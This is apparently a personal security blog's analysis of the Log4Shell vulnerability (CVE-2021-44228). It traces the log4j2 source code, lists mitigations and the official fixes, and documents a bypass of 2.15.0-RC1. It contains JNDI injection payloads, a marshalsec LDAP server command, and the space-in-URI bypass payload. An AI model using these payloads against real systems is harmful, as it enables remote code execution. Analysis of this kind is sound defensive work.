Vulnerability Analysis - CVE-2021-44228 Log4Shell
Using Java 8u181
Vulnerability Profile
Apache Log4j2 is a logging tool. Because Apache Log4j2 offers some functions that could parse recursively, an attacker can directly construct a malicious request to trigger the remote code execution.The vulnerability works with default configuration.
Verified by the Ali Cloud security team, It is affected for Apache Struts2, Apache Solr, Apache Druid, Apache Flink, etc.
All systems running Apache log4j2 2.0-beta9 through 2.14.1 are vulnerable. If the Java application imports the log4j-core
, it is most likely to be affected.
The Exploit
The Exploit Code
Use the maven to build a project to trigger the vulnerability and import the org.apache.logging.log4j
module which version is 2.14.1
.
If the logger uses a recordable level to log the payload , the vulnerability will be triggered.
The trigger code is as shown below.
1 | import org.apache.logging.log4j.LogManager; |
Use the code shown below to build a class file used by JNDI
1 | import java.io.BufferedReader; |
Compile the code to get the .class
file. The construction method will be run by JNDI.
Trigger the vulnerability
It’s typical JNDI Injection progress. Firstly, move the .class
file to a web server, and then, make use of marshalsec
to set up JNDI and LDAP service, the command is as shown below
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit |
Analysis of the Vulnerabilty
Analysis of the source code
As we all know, the exploit is working with JNDI, so we make a breakpoint in the constrution method of javax.naming.InitialContext
. The source code is located in rt.jar/javax/naming/InitialContext.java
After running the trigger code, the execution will be paused at the breakpoint.
The calling stack is as shown below
It’s obviously that if we want to exploit with JNDI, there must be a calling for lookup
method, so let’s trace reversely form JndiLookup.look()
.
To determine where is the code that focus to the payload ${jndi:ldap://127.0.0.1:1389/#Exploit}
, we can add some junk into the logging message. Running the trigger again, we can find that the substitute
methond deferenced AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBB
into ${jndi:ldap://127.0.0.1:1389/#Exploit}
.
Apart from this, we can find there is a method called resolveVariable
which is using to parse variable wrapper with ${}
.
Keep tracing, we can find a piece of code as below
We can find that if it meet the variable starting with ${
, the code will replace it with the resolved variable.
Going deeper
Log4j2 has 3 major components.
- Logger - log the message
- Appender - output the message
- Layout - format the message
Keep tracing the calling stack, we can find that log4j2 use LoggerConfig.processLogEvent()
to resolve logging event, use callAppenders()
to call Appender to ouput the message.
The function of Appender is transfer the logging event to the target. There are some commonly used Appender such as ConsoleAppender(output to the console), FileAppender(output to a file). It will use AppenderControl to gain the specific Appender. In this debug session, it is ConsoleAppender.
The Appender uses the Layout to get the logging format, formats the logging message with Layout.encode()
.
The Layout will use formatters to finish the formating.
The inputted message is resolved by MessagePatternConverter.format()
, it’s a important part of the vulnerabilty.
When the config is exist and the noLookups
is false, if there is a ${'
in the message, it will call workingBuilder.append()
to get the StrSubstitutor
to replace the variable with resolved one
We can find there is a noLookups
which is a value of configuration, the default value of it is the false. We will make use of it to temporarily fix the vulnerabilty later.
Going forward, we can find the StrSubstitutor.resolveVariable()
, it is used to resolve and parse, suporting the protocols incluing JNDI as below
Mitigation - Disable Lookups with System configuration
We can check the cross reference to determine where the noLookups
was assigned, it is as below
As a example, I add a line of code to change the system configration, it could also be set by command line or .properties
configration file.
1 | import org.apache.logging.log4j.LogManager; |
Run the trigger code again, we can find that ${jndi:ldap://127.0.0.1:1389/#Exploit}
won’t be parsed
Mitigation - Disable Lookups with Log4j Configuration
In my opinion, it’s the best way to protect the system without upgrading
The official documet: Log4j – Configuring Log4j 2 (apache.org)
The MVP(Minimum Viable Product) of configuration in XML is as shown below.
1 |
|
Apart from XML, the Log4j also support other formats such as json.
Thinking - Why the Log4j2 needs the capability of JNDI
After checking the official documents Log4j – Configuring Log4j 2 - Apache Log4j 2,I found the Property Substitution function, it offers the capability to retrieve attributes remotely to make the logging information more abundant
Because the developers didn’t aware the potential harm, the default value of noLookups was set to false and the source of JNDI wasn’t been restricted.
Something else
The common false positive
Many tester determine if the system is vulnerable to the CVE-2021-44228 by checking the DNS request, it’s not rigorous. Many Public Service could send the DNS request for the domian in the payload to take spam intercepting or any else, so the DNS request can’t be the evidence of vulnerabilty.
There is a better method to check, just insert the ${sys:java.version}
into the subdomain, it will be much more accurate.
How to defense
- Upgrade the log4j2
- Disable Lookups with System configuration
- Disable Lookups with Log4j Configuration
The official fixing
As shown above, in Release 2.15.0, it disabled the lookups by default and limit the servers and classes that can be accessed via LDAP.
What’s more, In release 2.16.0, disable JNDI by default. Require log4j2.enableJndi to be set to true to allow JNDI and completely remove support for Message Lookups.
The Bypassing in log4j 2.15.0-RC1
Compiling
Because the 2.15.0-RC1 don’t exist in the maven repository, we have to get the source code from GitHub and compile it manually.
Tags · apache/logging-log4j2 (github.com)
According to the README.md
, configure the jdk in the toolschains files and we only need the packages for jdk1.8, so just comment out the others.
Because we don’t need all the modules, modify the modules
in pom.xml
as shown below
1 | <modules> |
To compile, the maven command to run is as below
1 | # set the env variable JAVA_HOME to the path of jdk1.8 |
The generated artifacts (.jar) will be in the target
directory of every module.
Analysis of the source code
Firstly, change the version of log4j to 2.15.0
in the pom.xml
, replace the packages .jar
with the generated before.
Because it disabled the lookups by default in 2.15.0
, we have to enable it with configuration.
Modify or create the log4j2.xml
1 |
|
Now, the payload as below will be parsed
1 | ${sys:java.version} |
However, the payload for JNDI won’t be parsed
1 | ${jndi:ldap://ip:1389/#Exploit} |
We know that the variable could be resolved but the JNDI has been restricted, let’s have a check with the process of variable resolving. Focus on StrSubstitutor.resolveVariable()
Step into the lookup()
We can find that the JNDI could be resolved as before, step into the lookup()
again and check what is restricting the JNDI.
Step into the lookup()
of jndiManager
We can find there are some restrictions about the protocol and source.
As we found, the source has been restricted to some local IP, let’s assume that the restrict about source won’t afffect us as we are testing locally. Apart from this, we can find that the LDAP protocol is permitted.
We can find that the Reference Object have been forbidden by attributeMap.get(OBJECT_FACTORY)!=null
Apart from this, the another way to exploit with JNDI, deserialization, has been restricted too, it limited the classes to some basic type with allowedClasses
as below
Although it looks like perfect, but there is a vulnerability in the logic of exception handling
If there is a URI with some error in syntax, it will skip all the assessment and execution will arrive the JNDI lookup
.But, how to have a URI which have some error in syntax but could work as intended?
Just add a space that didn’t encoded by urlencode as below
1 | ${jndi:ldap://127.0.0.1:1389/# Exploit} |
Run the trigger code again, we can find that the command in exploit code works.
Summary of the Bypassing
- The LookUps have to be enabled by developer
- The source of LDAP have to be in the permit list, but the permit list only contains some local address by default
References
- Log4j Vulnerability (Log4Shell) Explained // CVE-2021-44228 - YouTube
- https://logging.apache.org/log4j/2.x/changes-report.html
- https://paper.seebug.org/1786/
- https://www.anquanke.com/post/id/262668
- Log4j – Configuring Log4j 2 (apache.org)
- https://xz.aliyun.com/t/10649#toc-2
- JNDI with LDAP
- Serializable Objects (oracle.com)
- Referenceable Objects and References (oracle.com)
- https://www.icode9.com/content-4-1253127.html
Vulnerability Analysis - CVE-2021-44228 Log4Shell
https://www.4xpl0r3r.com/Vuln-Analysis/Vulnerability-Analysis-CVE-2021-44228-Log4Shell/